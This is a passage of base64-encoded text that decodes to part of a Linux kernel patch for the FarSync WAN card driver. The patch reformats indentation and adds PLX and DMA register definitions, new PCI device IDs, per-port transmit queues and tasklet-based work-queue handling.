IE51bWJlciBvZiBwb3J0cyBkZXRlY3RlZCBhdCBzdGFydHVwICovCiAKLSAgICAgICAgdTMyIG51 bWJlck9mUG9ydHM7ICAgICAgLyogTnVtYmVyIG9mIHBvcnRzIGRldGVjdGVkIGF0IHN0YXJ0dXAg Ki8KKwl1MTYgX3Jlc2VydmVkWzY0XTsKIAotICAgICAgICB1MTYgX3Jlc2VydmVkWzY0XTsKKwl1 MTYgY2FyZE1vZGU7CQkvKiBCaXQtbWFzayB0byBlbmFibGUgZmVhdHVyZXM6CisJCQkJICogQml0 IDA6IDEgZW5hYmxlcyBMRUQgaWRlbnRpZnkgbW9kZQorCQkJCSAqLwogCi0gICAgICAgIHUxNiBj YXJkTW9kZTsgICAgICAgICAgIC8qIEJpdC1tYXNrIHRvIGVuYWJsZSBmZWF0dXJlczoKLSAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICogQml0IDA6IDEgZW5hYmxlcyBMRUQgaWRlbnRp ZnkgbW9kZQotICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgKi8KKwl1MTYgcG9ydFNj aGVkdWxlT2Zmc2V0OwogCi0gICAgICAgIHUxNiBwb3J0U2NoZWR1bGVPZmZzZXQ7CisJc3RydWN0 IHN1X2NvbmZpZyBzdUNvbmZpZzsJLyogVEUxIEJpdHMgKi8KKwlzdHJ1Y3Qgc3Vfc3RhdHVzIHN1 U3RhdHVzOwogCi0gICAgICAgIHUzMiBlbmRPZlNtY1NpZ25hdHVyZTsgIC8qIGVuZE9mU21jU2ln bmF0dXJlIE1VU1QgYmUgdGhlIGxhc3QgbWVtYmVyIG9mCi0gICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAqIHRoZSBzdHJ1Y3R1cmUgYW5kIG1hcmtzIHRoZSBlbmQgb2YgdGhlIHNoYXJl ZAotICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgKiBtZW1vcnkuIEFkYXB0ZXIgY29k ZSBpbml0aWFsaXplcyBpdHMgdmFsdWUgYXMKLSAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICogRU5EX1NJRy4KLSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICovCisJdTMy IGVuZE9mU21jU2lnbmF0dXJlOwkvKiBlbmRPZlNtY1NpZ25hdHVyZSBNVVNUIGJlIHRoZSBsYXN0 IG1lbWJlciBvZgorCQkJCSAqIHRoZSBzdHJ1Y3R1cmUgYW5kIG1hcmtzIHRoZSBlbmQgb2Ygc2hh cmVkCisJCQkJICogbWVtb3J5LiBBZGFwdGVyIGNvZGUgaW5pdGlhbGl6ZXMgaXQgYXMKKwkJCQkg KiBFTkRfU0lHLgorCQkJCSAqLwogfTsKIAogLyogZW5kT2ZTbWNTaWduYXR1cmUgdmFsdWUgKi8K ICNkZWZpbmUgRU5EX1NJRyAgICAgICAgICAgICAgICAgMHgxMjM0NTY3OAogCiAvKiBNYWlsYm94 IHZhbHVlcy4gKHBvcnRNYWlsYm94KSAqLwotI2RlZmluZSBOT1AgICAgICAgICAgICAgMCAgICAg ICAvKiBObyBvcGVyYXRpb24gKi8KLSNkZWZpbmUgQUNLICAgICAgICAgICAgIDEgICAgICAgLyog UG9zaXRpdmUgYWNrbm93bGVkZ2VtZW50IHRvIFBDIGRyaXZlciAqLwotI2RlZmluZSBOQUsgICAg ICAgICAgICAgMiAgICAgICAvKiBOZWdhdGl2ZSBhY2tub3dsZWRnZW1lbnQgdG8gUEMgZHJpdmVy ICovCi0jZGVmaW5lIFNUQVJUUE9SVCAgICAgICAzICAgICAgIC8qIFN0YXJ0IGFuIEhETEMgcG9y dCAqLwotI2RlZmluZSBTVE9QUE9SVCAgICAgICAgNCAgICAgICAvKiBTdG9wIGFuIEhETEMgcG9y dCAqLwotI2RlZmluZSBBQk9SVFRYICAgICAgICAgNSAgICAgICAvKiBBYm9ydCB0aGUgdHJhbnNt aXR0ZXIgZm9yIGEgcG9ydCAqLwotI2RlZmluZSBTRVRWMjRPICAgICAgICAgNiAgICAgICAvKiBT ZXQgVjI0IG91dHB1dHMgKi8KKyNkZWZpbmUgTk9QICAgICAgICAgICAgIDAJLyogTm8gb3BlcmF0 aW9uICovCisjZGVmaW5lIEFDSyAgICAgICAgICAgICAxCS8qIFBvc2l0aXZlIGFja25vd2xlZGdl bWVudCB0byBQQyBkcml2ZXIgKi8KKyNkZWZpbmUgTkFLICAgICAgICAgICAgIDIJLyogTmVnYXRp dmUgYWNrbm93bGVkZ2VtZW50IHRvIFBDIGRyaXZlciAqLworI2RlZmluZSBTVEFSVFBPUlQgICAg ICAgMwkvKiBTdGFydCBhbiBIRExDIHBvcnQgKi8KKyNkZWZpbmUgU1RPUFBPUlQgICAgICAgIDQJ LyogU3RvcCBhbiBIRExDIHBvcnQgKi8KKyNkZWZpbmUgQUJPUlRUWCAgICAgICAgIDUJLyogQWJv cnQgdGhlIHRyYW5zbWl0dGVyIGZvciBhIHBvcnQgKi8KKyNkZWZpbmUgU0VUVjI0TyAgICAgICAg IDYJLyogU2V0IFYyNCBvdXRwdXRzICovCisKKy8qIFBMWCBDaGlwIFJlZ2lzdGVyIE9mZnNldHMg Ki8KKyNkZWZpbmUgQ05UUkxfOTA1MiAgICAgIDB4NTAJLyogQ29udHJvbCBSZWdpc3RlciAqLwor I2RlZmluZSBDTlRSTF85MDU0ICAgICAgMHg2YwkvKiBDb250cm9sIFJlZ2lzdGVyICovCiAKKyNk ZWZpbmUgSU5UQ1NSXzkwNTIgICAgIDB4NGMJLyogSW50ZXJydXB0IGNvbnRyb2wvc3RhdHVzIHJl Z2lzdGVyICovCisjZGVmaW5lIElOVENTUl85MDU0ICAgICAweDY4CS8qIEludGVycnVwdCBjb250 cm9sL3N0YXR1cyByZWdpc3RlciAqLworCisvKiA5MDU0IERNQSBSZWdpc3RlcnMgKi8KKy8qCisg KiBOb3RlIHRoYXQgd2Ugd2lsbCBiZSB1c2luZyBETUEgQ2hhbm5lbCAwIGZvciBjb3B5aW5nIHJ4 IGRhdGEKKyAqIGFuZCBDaGFubmVsIDEgZm9yIGNvcHlpbmcgdHggZGF0YQorICovCisjZGVmaW5l IERNQU1PREUwICAgICAgICAweDgwCisjZGVmaW5lIERNQVBBRFIwICAgICAgICAweDg0CisjZGVm aW5lIERNQUxBRFIwICAgICAgICAweDg4CisjZGVmaW5lIERNQVNJWjAgICAgICAgICAweDhjCisj ZGVmaW5lIERNQURQUjAgICAgICAgICAweDkwCisjZGVmaW5lIERNQU1PREUxICAgICAgICAweDk0 CisjZGVmaW5lIERNQVBBRFIxICAgICAgICAweDk4CisjZGVmaW5lIERNQUxBRFIxICAgICAgICAw eDljCisjZGVmaW5lIERNQVNJWjEgICAgICAgICAweGEwCisjZGVmaW5lIERNQURQUjEgICAgICAg ICAweGE0CisjZGVmaW5lIERNQUNTUjAgICAgICAgICAweGE4CisjZGVmaW5lIERNQUNTUjEgICAg ICAgICAweGE5CisjZGVmaW5lIERNQUFSQiAgICAgICAgICAweGFjCisjZGVmaW5lIERNQVRIUiAg ICAgICAgICAweGIwCisjZGVmaW5lIERNQURBQzAgICAgICAgICAweGI0CisjZGVmaW5lIERNQURB QzEgICAgICAgICAweGI4CisjZGVmaW5lIERNQU1BUkJSICAgICAgICAweGFjCisKKyNkZWZpbmUg RlNUX01JTl9ETUFfTEVOIDY0CisjZGVmaW5lIEZTVF9SWF9ETUFfSU5UICAweDAxCisjZGVmaW5l IEZTVF9UWF9ETUFfSU5UICAweDAyCisjZGVmaW5lIEZTVF9DQVJEX0lOVCAgICAweDA0CiAKIC8q IExhcmdlciBidWZmZXJzIGFyZSBwb3NpdGlvbmVkIGluIG1lbW9yeSBhdCBvZmZzZXQgQkZNX0JB U0UgKi8KIHN0cnVjdCBidWZfd2luZG93IHsKLSAgICAgICAgdTggdHhCdWZmZXJbRlNUX01BWF9Q T1JUU11bTlVNX1RYX0JVRkZFUl1bTEVOX1RYX0JVRkZFUl07Ci0gICAgICAgIHU4IHJ4QnVmZmVy W0ZTVF9NQVhfUE9SVFNdW05VTV9SWF9CVUZGRVJdW0xFTl9SWF9CVUZGRVJdOworCXU4IHR4QnVm ZmVyW0ZTVF9NQVhfUE9SVFNdW05VTV9UWF9CVUZGRVJdW0xFTl9UWF9CVUZGRVJdOworCXU4IHJ4 QnVmZmVyW0ZTVF9NQVhfUE9SVFNdW05VTV9SWF9CVUZGRVJdW0xFTl9SWF9CVUZGRVJdOwogfTsK IAogLyogQ2FsY3VsYXRlIG9mZnNldCBvZiBhIGJ1ZmZlciBvYmplY3Qgd2l0aGluIHRoZSBzaGFy ZWQgbWVtb3J5IHdpbmRvdyAqLwpAQCAtMzI0LDM5ICs0MTcsNjQgQEAKIAogI3ByYWdtYSBwYWNr KCkKIAotCiAvKiAgICAgIERldmljZSBkcml2ZXIgcHJpdmF0ZSBpbmZvcm1hdGlvbgogICogICAg ICA9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KICAqLwogLyogICAgICBQZXIgcG9y dCAobGluZSBvciBjaGFubmVsKSBpbmZvcm1hdGlvbgogICovCiBzdHJ1Y3QgZnN0X3BvcnRfaW5m byB7Ci0gICAgICAgIGhkbGNfZGV2aWNlICAgICAgICAgICAgIGhkbGM7ICAgLyogSERMQyBkZXZp Y2Ugc3RydWN0IC0gbXVzdCBiZSBmaXJzdCAqLwotICAgICAgICBzdHJ1Y3QgZnN0X2NhcmRfaW5m byAgICpjYXJkOyAgIC8qIENhcmQgd2UncmUgYXNzb2NpYXRlZCB3aXRoICovCi0gICAgICAgIGlu dCAgICAgICAgICAgICAgICAgICAgIGluZGV4OyAgLyogUG9ydCBpbmRleCBvbiB0aGUgY2FyZCAq LwotICAgICAgICBpbnQgICAgICAgICAgICAgICAgICAgICBod2lmOyAgIC8qIExpbmUgaGFyZHdh cmUgKGxpbmVJbnRlcmZhY2UgY29weSkgKi8KLSAgICAgICAgaW50ICAgICAgICAgICAgICAgICAg ICAgcnVuOyAgICAvKiBQb3J0IGlzIHJ1bm5pbmcgKi8KLSAgICAgICAgaW50ICAgICAgICAgICAg ICAgICAgICAgcnhwb3M7ICAvKiBOZXh0IFJ4IGJ1ZmZlciB0byB1c2UgKi8KLSAgICAgICAgaW50 ICAgICAgICAgICAgICAgICAgICAgdHhwb3M7ICAvKiBOZXh0IFR4IGJ1ZmZlciB0byB1c2UgKi8K LSAgICAgICAgaW50ICAgICAgICAgICAgICAgICAgICAgdHhpcG9zOyAvKiBOZXh0IFR4IGJ1ZmZl ciB0byBjaGVjayBmb3IgZnJlZSAqLwotICAgICAgICBpbnQgICAgICAgICAgICAgICAgICAgICB0 eGNudDsgIC8qIENvdW50IG9mIFR4IGJ1ZmZlcnMgaW4gdXNlICovCisJaGRsY19kZXZpY2UgaGRs YzsJLyogSERMQyBkZXZpY2Ugc3RydWN0IC0gbXVzdCBiZSBmaXJzdCAqLworCXN0cnVjdCBmc3Rf Y2FyZF9pbmZvICpjYXJkOwkvKiBDYXJkIHdlJ3JlIGFzc29jaWF0ZWQgd2l0aCAqLworCWludCBp bmRleDsJCS8qIFBvcnQgaW5kZXggb24gdGhlIGNhcmQgKi8KKwlpbnQgaHdpZjsJCS8qIExpbmUg aGFyZHdhcmUgKGxpbmVJbnRlcmZhY2UgY29weSkgKi8KKwlpbnQgcnVuOwkJLyogUG9ydCBpcyBy dW5uaW5nICovCisJaW50IG1vZGU7CQkvKiBOb3JtYWwgb3IgRmFyU3luYyByYXcgKi8KKwlpbnQg cnhwb3M7CQkvKiBOZXh0IFJ4IGJ1ZmZlciB0byB1c2UgKi8KKwlpbnQgdHhwb3M7CQkvKiBOZXh0 IFR4IGJ1ZmZlciB0byB1c2UgKi8KKwlpbnQgdHhpcG9zOwkJLyogTmV4dCBUeCBidWZmZXIgdG8g Y2hlY2sgZm9yIGZyZWUgKi8KKwlpbnQgc3RhcnQ7CQkvKiBJbmRpY2F0aW9uIG9mIHN0YXJ0L3N0 b3AgdG8gbmV0d29yayAqLworCS8qCisJICogQSBzaXh0ZWVuIGVudHJ5IHRyYW5zbWl0IHF1ZXVl CisJICovCisJaW50IHR4cXM7CQkvKiBpbmRleCB0byBnZXQgbmV4dCBidWZmZXIgdG8gdHggKi8K KwlpbnQgdHhxZTsJCS8qIGluZGV4IHRvIHF1ZXVlIG5leHQgcGFja2V0ICovCisJc3RydWN0IHNr X2J1ZmYgKnR4cVtGU1RfVFhRX0RFUFRIXTsJLyogVGhlIHF1ZXVlICovCisJaW50IHJ4cWRlcHRo OwogfTsKIAogLyogICAgICBQZXIgY2FyZCBpbmZvcm1hdGlvbgogICovCiBzdHJ1Y3QgZnN0X2Nh cmRfaW5mbyB7Ci0gICAgICAgIGNoYXIgICAgICAgICAgKm1lbTsgICAgICAgICAgICAgLyogQ2Fy ZCBtZW1vcnkgbWFwcGVkIHRvIGtlcm5lbCBzcGFjZSAqLwotICAgICAgICBjaGFyICAgICAgICAg ICpjdGxtZW07ICAgICAgICAgIC8qIENvbnRyb2wgbWVtb3J5IGZvciBQQ0kgY2FyZHMgKi8KLSAg ICAgICAgdW5zaWduZWQgaW50ICAgcGh5c19tZW07ICAgICAgICAvKiBQaHlzaWNhbCBtZW1vcnkg d2luZG93IGFkZHJlc3MgKi8KLSAgICAgICAgdW5zaWduZWQgaW50ICAgcGh5c19jdGxtZW07ICAg ICAvKiBQaHlzaWNhbCBjb250cm9sIG1lbW9yeSBhZGRyZXNzICovCi0gICAgICAgIHVuc2lnbmVk IGludCAgIGlycTsgICAgICAgICAgICAgLyogSW50ZXJydXB0IHJlcXVlc3QgbGluZSBudW1iZXIg Ki8KLSAgICAgICAgdW5zaWduZWQgaW50ICAgbnBvcnRzOyAgICAgICAgICAvKiBOdW1iZXIgb2Yg c2VyaWFsIHBvcnRzICovCi0gICAgICAgIHVuc2lnbmVkIGludCAgIHR5cGU7ICAgICAgICAgICAg LyogVHlwZSBpbmRleCBvZiBjYXJkICovCi0gICAgICAgIHVuc2lnbmVkIGludCAgIHN0YXRlOyAg ICAgICAgICAgLyogU3RhdGUgb2YgY2FyZCAqLwotICAgICAgICBzcGlubG9ja190ICAgICBjYXJk X2xvY2s7ICAgICAgIC8qIExvY2sgZm9yIFNNUCBhY2Nlc3MgKi8KLSAgICAgICAgdW5zaWduZWQg c2hvcnQgcGNpX2NvbmY7ICAgICAgICAvKiBQQ0kgY2FyZCBjb25maWcgaW4gSS9PIHNwYWNlICov Ci0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLyogUGVyIHBvcnQgaW5m byAqLwotICAgICAgICBzdHJ1Y3QgZnN0X3BvcnRfaW5mbyBwb3J0c1sgRlNUX01BWF9QT1JUUyBd OworCWNoYXIgKm1lbTsJCS8qIENhcmQgbWVtb3J5IG1hcHBlZCB0byBrZXJuZWwgc3BhY2UgKi8K KwljaGFyICpjdGxtZW07CQkvKiBDb250cm9sIG1lbW9yeSBmb3IgUENJIGNhcmRzICovCisJdW5z aWduZWQgaW50IHBoeXNfbWVtOwkvKiBQaHlzaWNhbCBtZW1vcnkgd2luZG93IGFkZHJlc3MgKi8K Kwl1bnNpZ25lZCBpbnQgcGh5c19jdGxtZW07CS8qIFBoeXNpY2FsIGNvbnRyb2wgbWVtb3J5IGFk ZHJlc3MgKi8KKwl1bnNpZ25lZCBpbnQgaXJxOwkvKiBJbnRlcnJ1cHQgcmVxdWVzdCBsaW5lIG51 bWJlciAqLworCXVuc2lnbmVkIGludCBucG9ydHM7CS8qIE51bWJlciBvZiBzZXJpYWwgcG9ydHMg Ki8KKwl1bnNpZ25lZCBpbnQgdHlwZTsJLyogVHlwZSBpbmRleCBvZiBjYXJkICovCisJdW5zaWdu ZWQgaW50IHN0YXRlOwkvKiBTdGF0ZSBvZiBjYXJkICovCisJc3BpbmxvY2tfdCBjYXJkX2xvY2s7 CS8qIExvY2sgZm9yIFNNUCBhY2Nlc3MgKi8KKwl1bnNpZ25lZCBzaG9ydCBwY2lfY29uZjsJLyog UENJIGNhcmQgY29uZmlnIGluIEkvTyBzcGFjZSAqLworCS8qIFBlciBwb3J0IGluZm8gKi8KKwlz dHJ1Y3QgZnN0X3BvcnRfaW5mbyBwb3J0c1tGU1RfTUFYX1BPUlRTXTsKKwlzdHJ1Y3QgcGNpX2Rl diAqZGV2aWNlOwkvKiBJbmZvcm1hdGlvbiBhYm91dCB0aGUgcGNpIGRldmljZSAqLworCWludCBj YXJkX25vOwkJLyogSW5zdCBvZiB0aGUgY2FyZCBvbiB0aGUgc3lzdGVtICovCisJaW50IGZhbWls eTsJCS8qIFR4UCBvciBUeFUgKi8KKwlpbnQgZG1hcnhfaW5fcHJvZ3Jlc3M7CisJaW50IGRtYXR4 X2luX3Byb2dyZXNzOworCXVuc2lnbmVkIGxvbmcgaW50X2NvdW50OworCXVuc2lnbmVkIGxvbmcg aW50X3RpbWVfYXZlOworCXZvaWQgKnJ4X2RtYV9oYW5kbGVfaG9zdDsKKwlkbWFfYWRkcl90IHJ4 X2RtYV9oYW5kbGVfY2FyZDsKKwl2b2lkICp0eF9kbWFfaGFuZGxlX2hvc3Q7CisJZG1hX2FkZHJf dCB0eF9kbWFfaGFuZGxlX2NhcmQ7CisJc3RydWN0IHNrX2J1ZmYgKmRtYV9za2Jfcng7CisJc3Ry dWN0IGZzdF9wb3J0X2luZm8gKmRtYV9wb3J0X3J4OworCXN0cnVjdCBmc3RfcG9ydF9pbmZvICpk bWFfcG9ydF90eDsKKwlpbnQgZG1hX2xlbl9yeDsKKwlpbnQgZG1hX2xlbl90eDsKKwlpbnQgZG1h X3R4cG9zOworCWludCBkbWFfcnhwb3M7CiB9OwogCiAvKiBDb252ZXJ0IGFuIEhETEMgZGV2aWNl IHBvaW50ZXIgaW50byBhIHBvcnQgaW5mbyBwb2ludGVyIGFuZCBzaW1pbGFyICovCkBAIC0zNjQs NyArNDgyLDYgQEAKICNkZWZpbmUgZGV2X3RvX3BvcnQoRCkgIGhkbGNfdG9fcG9ydChkZXZfdG9f aGRsYyhEKSkKICNkZWZpbmUgcG9ydF90b19kZXYoUCkgIGhkbGNfdG9fZGV2KCYoUCktPmhkbGMp CiAKLQogLyoKICAqICAgICAgU2hhcmVkIG1lbW9yeSB3aW5kb3cgYWNjZXNzIG1hY3JvcwogICoK QEAgLTM4NCw3ICs1MDEsNiBAQAogI2RlZmluZSBGU1RfV1JXKEMsRSxXKSAgd3JpdGV3ICgoVyks IChDKS0+bWVtICsgV0lOX09GRlNFVChFKSkKICNkZWZpbmUgRlNUX1dSTChDLEUsTCkgIHdyaXRl bCAoKEwpLCAoQyktPm1lbSArIFdJTl9PRkZTRVQoRSkpCiAKLQogLyoKICAqICAgICAgRGVidWcg c3VwcG9ydAogICovCkBAIC00MDMsMzAgKzUxOSwxNDggQEAKICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgcHJpbnRrICggS0VSTl9ERUJVRyBGU1RfTkFNRSAiOiAiIGZtdCwgIyMgQSAp CiAKICNlbHNlCi0jIGRlZmluZSBkYmcoWC4uLikgICAgICAvKiBOT1AgKi8KKyNkZWZpbmUgZGJn KFguLi4pCQkvKiBOT1AgKi8KICNlbmRpZgogCi0KIC8qICAgICAgUHJpbnRpbmcgc2hvcnQgY3V0 cwogICovCiAjZGVmaW5lIHByaW50a19lcnIoZm10LEEuLi4pICAgIHByaW50ayAoIEtFUk5fRVJS ICAgICBGU1RfTkFNRSAiOiAiIGZtdCwgIyMgQSApCiAjZGVmaW5lIHByaW50a193YXJuKGZtdCxB Li4uKSAgIHByaW50ayAoIEtFUk5fV0FSTklORyBGU1RfTkFNRSAiOiAiIGZtdCwgIyMgQSApCiAj ZGVmaW5lIHByaW50a19pbmZvKGZtdCxBLi4uKSAgIHByaW50ayAoIEtFUk5fSU5GTyAgICBGU1Rf TkFNRSAiOiAiIGZtdCwgIyMgQSApCiAKLQogLyoKICAqICAgICAgUENJIElEIGxvb2t1cCB0YWJs ZQogICovCiBzdGF0aWMgc3RydWN0IHBjaV9kZXZpY2VfaWQgZnN0X3BjaV9kZXZfaWRbXSBfX2Rl dmluaXRkYXRhID0gewotICAgICAgICB7IEZTQ19QQ0lfVkVORE9SX0lELCBUMlBfUENJX0RFVklD RV9JRCwgUENJX0FOWV9JRCwgUENJX0FOWV9JRCwgMCwgMCwKLSAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICBGU1RfVFlQRV9UMlAgfSwKLSAgICAgICAgeyBGU0NfUENJX1ZF TkRPUl9JRCwgVDRQX1BDSV9ERVZJQ0VfSUQsIFBDSV9BTllfSUQsIFBDSV9BTllfSUQsIDAsIDAs Ci0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgRlNUX1RZUEVfVDRQIH0s Ci0gICAgICAgIHsgMCwgfSAgICAgICAgICAgICAgICAgICAgICAgICAgLyogRW5kICovCisJe1BD SV9WRU5ET1JfSURfRkFSU0lURSwgUENJX0RFVklDRV9JRF9GQVJTSVRFX1QyUCwgUENJX0FOWV9J RCwgCisJIFBDSV9BTllfSUQsIDAsIDAsIEZTVF9UWVBFX1QyUH0sCisKKwl7UENJX1ZFTkRPUl9J RF9GQVJTSVRFLCBQQ0lfREVWSUNFX0lEX0ZBUlNJVEVfVDRQLCBQQ0lfQU5ZX0lELCAKKwkgUENJ X0FOWV9JRCwgMCwgMCwgRlNUX1RZUEVfVDRQfSwKKworCXtQQ0lfVkVORE9SX0lEX0ZBUlNJVEUs IFBDSV9ERVZJQ0VfSURfRkFSU0lURV9UMVUsIFBDSV9BTllfSUQsIAorCSBQQ0lfQU5ZX0lELCAw LCAwLCBGU1RfVFlQRV9UMVV9LAorCisJe1BDSV9WRU5ET1JfSURfRkFSU0lURSwgUENJX0RFVklD RV9JRF9GQVJTSVRFX1QyVSwgUENJX0FOWV9JRCwgCisJIFBDSV9BTllfSUQsIDAsIDAsIEZTVF9U WVBFX1QyVX0sCisKKwl7UENJX1ZFTkRPUl9JRF9GQVJTSVRFLCBQQ0lfREVWSUNFX0lEX0ZBUlNJ VEVfVDRVLCBQQ0lfQU5ZX0lELCAKKwkgUENJX0FOWV9JRCwgMCwgMCwgRlNUX1RZUEVfVDRVfSwK KworCXtQQ0lfVkVORE9SX0lEX0ZBUlNJVEUsIFBDSV9ERVZJQ0VfSURfRkFSU0lURV9URTEsIFBD SV9BTllfSUQsIAorCSBQQ0lfQU5ZX0lELCAwLCAwLCBGU1RfVFlQRV9URTF9LAorCisJe1BDSV9W RU5ET1JfSURfRkFSU0lURSwgUENJX0RFVklDRV9JRF9GQVJTSVRFX1RFMUMsIFBDSV9BTllfSUQs IAorCSBQQ0lfQU5ZX0lELCAwLCAwLCBGU1RfVFlQRV9URTF9LAorCXswLH0JCQkvKiBFbmQgKi8K IH07CiAKLU1PRFVMRV9ERVZJQ0VfVEFCTEUgKCBwY2ksIGZzdF9wY2lfZGV2X2lkICk7CitNT0RV TEVfREVWSUNFX1RBQkxFKHBjaSwgZnN0X3BjaV9kZXZfaWQpOworCisvKgorICogICAgICBEZXZp Y2UgRHJpdmVyIFdvcmsgUXVldWVzCisgKgorICogICAgICBTbyB0aGF0IHdlIGRvbid0IHNwZW5k IHRvbyBtdWNoIHRpbWUgcHJvY2Vzc2luZyBldmVudHMgaW4gdGhlIAorICogICAgICBJbnRlcnJ1 cHQgU2VydmljZSByb3V0aW5lLCB3ZSB3aWxsIGRlY2xhcmUgYSB3b3JrIHF1ZXVlIHBlciBDYXJk IAorICogICAgICBhbmQgbWFrZSB0aGUgSVNSIHNjaGVkdWxlIGEgdGFzayBpbiB0aGUgcXVldWUg Zm9yIGxhdGVyIGV4ZWN1dGlvbi4KKyAqLworCitzdGF0aWMgdm9pZCBkb19ib3R0b21faGFsZl90 eChzdHJ1Y3QgZnN0X2NhcmRfaW5mbyAqY2FyZCk7CitzdGF0aWMgdm9pZCBkb19ib3R0b21faGFs Zl9yeChzdHJ1Y3QgZnN0X2NhcmRfaW5mbyAqY2FyZCk7CitzdGF0aWMgdm9pZCBmc3RfcHJvY2Vz c190eF93b3JrX3EodW5zaWduZWQgbG9uZyB3b3JrX3EpOworc3RhdGljIHZvaWQgZnN0X3Byb2Nl c3NfaW50X3dvcmtfcSh1bnNpZ25lZCBsb25nIHdvcmtfcSk7CisKK0RFQ0xBUkVfVEFTS0xFVChm c3RfdHhfdGFzaywgZnN0X3Byb2Nlc3NfdHhfd29ya19xLCAwKTsKK0RFQ0xBUkVfVEFTS0xFVChm c3RfaW50X3Rhc2ssIGZzdF9wcm9jZXNzX2ludF93b3JrX3EsIDApOworCitzdHJ1Y3QgZnN0X2Nh cmRfaW5mbyAqZnN0X2NhcmRfYXJyYXlbRlNUX01BWF9DQVJEU107CitzcGlubG9ja190IGZzdF93 b3JrX3FfbG9jazsKK3U2NCBmc3Rfd29ya190eHE7Cit1NjQgZnN0X3dvcmtfaW50cTsKKworc3Rh dGljIHZvaWQKK2ZzdF9xX3dvcmtfaXRlbSh1NjQgKiBxdWV1ZSwgaW50IGNhcmRfaW5kZXgpCit7 CisJdW5zaWduZWQgbG9uZyBmbGFnczsKKwl1NjQgbWFzazsKIAorCS8qCisJICogR3JhYiB0aGUg cXVldWUgZXhjbHVzaXZlbHkKKwkgKi8KKwlzcGluX2xvY2tfaXJxc2F2ZSgmZnN0X3dvcmtfcV9s b2NrLCBmbGFncyk7CisKKwkvKgorCSAqIE1ha2luZyBhbiBlbnRyeSBpbiB0aGUgcXVldWUgaXMg c2ltcGx5IGEgbWF0dGVyIG9mIHNldHRpbmcKKwkgKiBhIGJpdCBmb3IgdGhlIGNhcmQgaW5kaWNh dGluZyB0aGF0IHRoZXJlIGlzIHdvcmsgdG8gZG8gaW4gdGhlCisJICogYm90dG9tIGhhbGYgZm9y IHRoZSBjYXJkLiAgTm90ZSB0aGUgbGltaXRhdGlvbiBvZiA2NCBjYXJkcy4KKwkgKiBUaGF0IG91 Z2h0IHRvIGJlIGVub3VnaAorCSAqLworCW1hc2sgPSAxIDw8IGNhcmRfaW5kZXg7CisJKnF1ZXVl IHw9IG1hc2s7CisJc3Bpbl91bmxvY2tfaXJxcmVzdG9yZSgmZnN0X3dvcmtfcV9sb2NrLCBmbGFn cyk7Cit9CisKK3N0YXRpYyB2b2lkCitmc3RfcHJvY2Vzc190eF93b3JrX3EodW5zaWduZWQgbG9u ZyB3b3JrX3EpCit7CisJdW5zaWduZWQgbG9uZyBmbGFnczsKKwl1NjQgd29ya190eHE7CisJaW50 IGk7CisKKwkvKgorCSAqIEdyYWIgdGhlIHF1ZXVlIGV4Y2x1c2l2ZWx5CisJICovCisJZGJnKERC R19UWCwgImZzdF9wcm9jZXNzX3R4X3dvcmtfcVxuIik7CisJc3Bpbl9sb2NrX2lycXNhdmUoJmZz dF93b3JrX3FfbG9jaywgZmxhZ3MpOworCXdvcmtfdHhxID0gZnN0X3dvcmtfdHhxOworCWZzdF93 b3JrX3R4cSA9IDA7CisJc3Bpbl91bmxvY2tfaXJxcmVzdG9yZSgmZnN0X3dvcmtfcV9sb2NrLCBm bGFncyk7CisKKwkvKgorCSAqIENhbGwgdGhlIGJvdHRvbSBoYWxmIGZvciBlYWNoIGNhcmQgd2l0 aCB3b3JrIHdhaXRpbmcKKwkgKi8KKwlmb3IgKGkgPSAwOyBpIDwgRlNUX01BWF9DQVJEUzsgaSsr KSB7CisJCWlmICh3b3JrX3R4cSAmIDB4MDEpIHsKKwkJCWlmIChmc3RfY2FyZF9hcnJheVtpXSAh PSBOVUxMKSB7CisJCQkJZGJnKERCR19UWCwgIkNhbGxpbmcgdHggYmggZm9yIGNhcmQgJWRcbiIs IGkpOworCQkJCWRvX2JvdHRvbV9oYWxmX3R4KGZzdF9jYXJkX2FycmF5W2ldKTsKKwkJCX0KKwkJ fQorCQl3b3JrX3R4cSA9IHdvcmtfdHhxID4+IDE7CisJfQorfQorCitzdGF0aWMgdm9pZAorZnN0 X3Byb2Nlc3NfaW50X3dvcmtfcSh1bnNpZ25lZCBsb25nIHdvcmtfcSkKK3sKKwl1bnNpZ25lZCBs b25nIGZsYWdzOworCXU2NCB3b3JrX2ludHE7CisJaW50IGk7CisKKwkvKgorCSAqIEdyYWIgdGhl IHF1ZXVlIGV4Y2x1c2l2ZWx5CisJICovCisJZGJnKERCR19JTlRSLCAiZnN0X3Byb2Nlc3NfaW50 X3dvcmtfcVxuIik7CisJc3Bpbl9sb2NrX2lycXNhdmUoJmZzdF93b3JrX3FfbG9jaywgZmxhZ3Mp OworCXdvcmtfaW50cSA9IGZzdF93b3JrX2ludHE7CisJZnN0X3dvcmtfaW50cSA9IDA7CisJc3Bp bl91bmxvY2tfaXJxcmVzdG9yZSgmZnN0X3dvcmtfcV9sb2NrLCBmbGFncyk7CisKKwkvKgorCSAq IENhbGwgdGhlIGJvdHRvbSBoYWxmIGZvciBlYWNoIGNhcmQgd2l0aCB3b3JrIHdhaXRpbmcKKwkg Ki8KKwlmb3IgKGkgPSAwOyBpIDwgRlNUX01BWF9DQVJEUzsgaSsrKSB7CisJCWlmICh3b3JrX2lu dHEgJiAweDAxKSB7CisJCQlpZiAoZnN0X2NhcmRfYXJyYXlbaV0gIT0gTlVMTCkgeworCQkJCWRi ZyhEQkdfSU5UUiwKKwkJCQkgICAgIkNhbGxpbmcgcnggJiB0eCBiaCBmb3IgY2FyZCAlZFxuIiwg aSk7CisJCQkJZG9fYm90dG9tX2hhbGZfcngoZnN0X2NhcmRfYXJyYXlbaV0pOworCQkJCWRvX2Jv dHRvbV9oYWxmX3R4KGZzdF9jYXJkX2FycmF5W2ldKTsKKwkJCX0KKwkJfQorCQl3b3JrX2ludHEg 